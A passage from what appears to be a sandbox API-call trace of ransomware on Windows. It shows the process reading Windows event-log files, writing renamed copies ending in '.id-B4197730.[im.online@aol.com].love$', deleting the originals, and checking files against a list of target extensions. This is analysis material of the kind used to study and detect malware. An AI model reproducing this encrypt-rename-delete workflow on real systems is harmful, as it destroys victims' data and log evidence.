(normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.471] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.471] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.471] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.471] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0226.472] GetLastError () returned 0x0 [0226.472] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.478] WriteFile (in: hFile=0x460, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.481] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0226.481] WriteFile (in: hFile=0x460, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x128, lpOverlapped=0x0) returned 1 [0226.481] SetEndOfFile (hFile=0x460) returned 1 [0226.481] CloseHandle (hObject=0x460) returned 1 [0226.485] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.485] SetEndOfFile (hFile=0x45c) returned 1 [0226.486] CloseHandle (hObject=0x45c) returned 1 [0226.486] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.487] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0226.487] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0226.487] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0226.487] lstrlenW (lpString=".doc") returned 4 [0226.487] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.487] lstrlenW (lpString=".docx") returned 5 [0226.487] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.487] lstrlenW (lpString=".pdf") returned 4 [0226.488] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.488] lstrlenW (lpString=".xls") returned 4 [0226.488] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.488] lstrlenW (lpString=".xlsx") returned 5 [0226.488] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.488] lstrlenW (lpString=".ppt") returned 4 [0226.488] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.488] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0226.488] lstrlenW (lpString=".zip") returned 4 [0226.488] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.488] lstrlenW (lpString=".rar") returned 4 [0226.488] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.488] lstrlenW (lpString=".bz2") returned 4 [0226.488] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.488] lstrlenW (lpString=".7z") returned 3 [0226.488] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.488] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0226.488] lstrlenW (lpString=".dbf") returned 4 [0226.488] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.488] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0226.488] lstrlenW (lpString=".1cd") returned 4 [0226.488] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.488] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0226.488] lstrlenW (lpString=".jpg") returned 4 [0226.488] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0226.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0226.489] lstrlenW (lpString=".doc") returned 4 [0226.489] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.489] lstrlenW (lpString=".docx") returned 5 [0226.489] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.489] lstrlenW (lpString=".pdf") returned 4 [0226.489] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.489] lstrlenW (lpString=".xls") returned 4 [0226.489] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.489] lstrlenW (lpString=".xlsx") returned 5 [0226.489] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.489] lstrlenW (lpString=".ppt") returned 4 [0226.489] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0226.489] lstrlenW (lpString=".zip") returned 4 [0226.489] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.489] lstrlenW (lpString=".rar") returned 4 [0226.489] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.489] lstrlenW (lpString=".bz2") returned 4 [0226.489] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.489] lstrlenW (lpString=".7z") returned 3 [0226.489] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0226.489] lstrlenW (lpString=".dbf") returned 4 [0226.489] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0226.490] lstrlenW (lpString=".1cd") returned 4 [0226.490] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0226.490] lstrlenW (lpString=".jpg") returned 4 [0226.490] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.490] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.490] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41 [0226.490] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.622] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0226.622] CloseHandle (hObject=0x45c) returned 1 [0226.622] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0226.623] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.623] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.623] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.623] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.623] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0226.624] GetLastError () returned 0x0 [0226.624] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.632] WriteFile (in: hFile=0x460, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.634] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0226.634] WriteFile (in: hFile=0x460, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x126, lpOverlapped=0x0) returned 1 [0226.635] SetEndOfFile (hFile=0x460) returned 1 [0226.635] CloseHandle (hObject=0x460) returned 1 [0226.641] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.641] SetEndOfFile (hFile=0x45c) returned 1 [0226.642] CloseHandle (hObject=0x45c) returned 1 [0226.643] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.643] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0226.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0226.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0226.643] lstrlenW (lpString=".doc") returned 4 [0226.643] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.644] lstrlenW (lpString=".docx") returned 5 [0226.644] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.644] lstrlenW (lpString=".pdf") returned 4 [0226.644] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.644] lstrlenW (lpString=".xls") returned 4 [0226.644] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.644] lstrlenW (lpString=".xlsx") returned 5 [0226.644] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.644] lstrlenW (lpString=".ppt") returned 4 [0226.644] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0226.644] lstrlenW (lpString=".zip") returned 4 [0226.644] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.644] lstrlenW (lpString=".rar") returned 4 [0226.644] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.644] lstrlenW (lpString=".bz2") returned 4 [0226.644] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.644] lstrlenW (lpString=".7z") returned 3 [0226.644] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0226.644] lstrlenW (lpString=".dbf") returned 4 [0226.644] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0226.644] lstrlenW (lpString=".1cd") returned 4 [0226.644] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0226.644] lstrlenW (lpString=".jpg") returned 4 [0226.644] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0226.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0226.644] lstrlenW (lpString=".doc") returned 4 [0226.645] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.645] lstrlenW (lpString=".docx") returned 5 [0226.645] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.645] lstrlenW (lpString=".pdf") returned 4 [0226.645] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.645] lstrlenW (lpString=".xls") returned 4 [0226.645] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.645] lstrlenW (lpString=".xlsx") returned 5 [0226.645] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.645] lstrlenW (lpString=".ppt") returned 4 [0226.645] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.645] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0226.645] lstrlenW (lpString=".zip") returned 4 [0226.645] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.645] lstrlenW (lpString=".rar") returned 4 [0226.645] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.645] lstrlenW (lpString=".bz2") returned 4 [0226.645] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.645] lstrlenW (lpString=".7z") returned 3 [0226.645] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.645] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0226.645] lstrlenW (lpString=".dbf") returned 4 [0226.645] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.645] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0226.645] lstrlenW (lpString=".1cd") returned 4 [0226.645] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.646] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0226.646] lstrlenW (lpString=".jpg") returned 4 [0226.646] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.646] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.646] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72 [0226.646] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.646] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0226.646] CloseHandle (hObject=0x45c) returned 1 [0226.647] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0226.647] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.647] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.647] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.647] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.647] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0226.648] GetLastError () returned 0x0 [0226.648] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.683] WriteFile (in: hFile=0x460, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.686] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0226.686] WriteFile (in: hFile=0x460, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x164, lpOverlapped=0x0) returned 1 [0226.686] SetEndOfFile (hFile=0x460) returned 1 [0226.686] CloseHandle (hObject=0x460) returned 1 [0226.689] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.689] SetEndOfFile (hFile=0x45c) returned 1 [0226.690] CloseHandle (hObject=0x45c) returned 1 [0226.691] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.691] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1 [0226.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0226.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0226.691] lstrlenW (lpString=".doc") returned 4 [0226.691] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.691] lstrlenW (lpString=".docx") returned 5 [0226.691] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.691] lstrlenW (lpString=".pdf") returned 4 [0226.692] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.692] lstrlenW (lpString=".xls") returned 4 [0226.692] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.692] lstrlenW (lpString=".xlsx") returned 5 [0226.692] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.692] lstrlenW (lpString=".ppt") returned 4 [0226.692] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.692] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0226.692] lstrlenW (lpString=".zip") returned 4 [0226.692] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.692] lstrlenW (lpString=".rar") returned 4 [0226.692] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.692] lstrlenW (lpString=".bz2") returned 4 [0226.692] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.692] lstrlenW (lpString=".7z") returned 3 [0226.692] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.692] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0226.692] lstrlenW (lpString=".dbf") returned 4 [0226.692] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.692] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0226.692] lstrlenW (lpString=".1cd") returned 4 [0226.692] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.692] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0226.692] lstrlenW (lpString=".jpg") returned 4 [0226.692] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.692] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0226.692] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0226.692] lstrlenW (lpString=".doc") returned 4 [0226.693] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.693] lstrlenW (lpString=".docx") returned 5 [0226.693] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.693] lstrlenW (lpString=".pdf") returned 4 [0226.693] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.693] lstrlenW (lpString=".xls") returned 4 [0226.693] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.693] lstrlenW (lpString=".xlsx") returned 5 [0226.693] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.693] lstrlenW (lpString=".ppt") returned 4 [0226.693] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.693] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0226.693] lstrlenW (lpString=".zip") returned 4 [0226.693] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.693] lstrlenW (lpString=".rar") returned 4 [0226.693] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.693] lstrlenW (lpString=".bz2") returned 4 [0226.693] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.693] lstrlenW (lpString=".7z") returned 3 [0226.693] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.693] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0226.693] lstrlenW (lpString=".dbf") returned 4 [0226.693] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.693] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0226.693] lstrlenW (lpString=".1cd") returned 4 [0226.693] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.693] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0226.693] lstrlenW (lpString=".jpg") returned 4 [0226.693] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.694] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.694] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76 [0226.694] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.699] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0226.699] CloseHandle (hObject=0x3bc) returned 1 [0226.699] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0226.699] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.700] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.700] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.700] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.700] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0226.701] GetLastError () returned 0x0 [0226.701] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.706] WriteFile (in: hFile=0x404, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 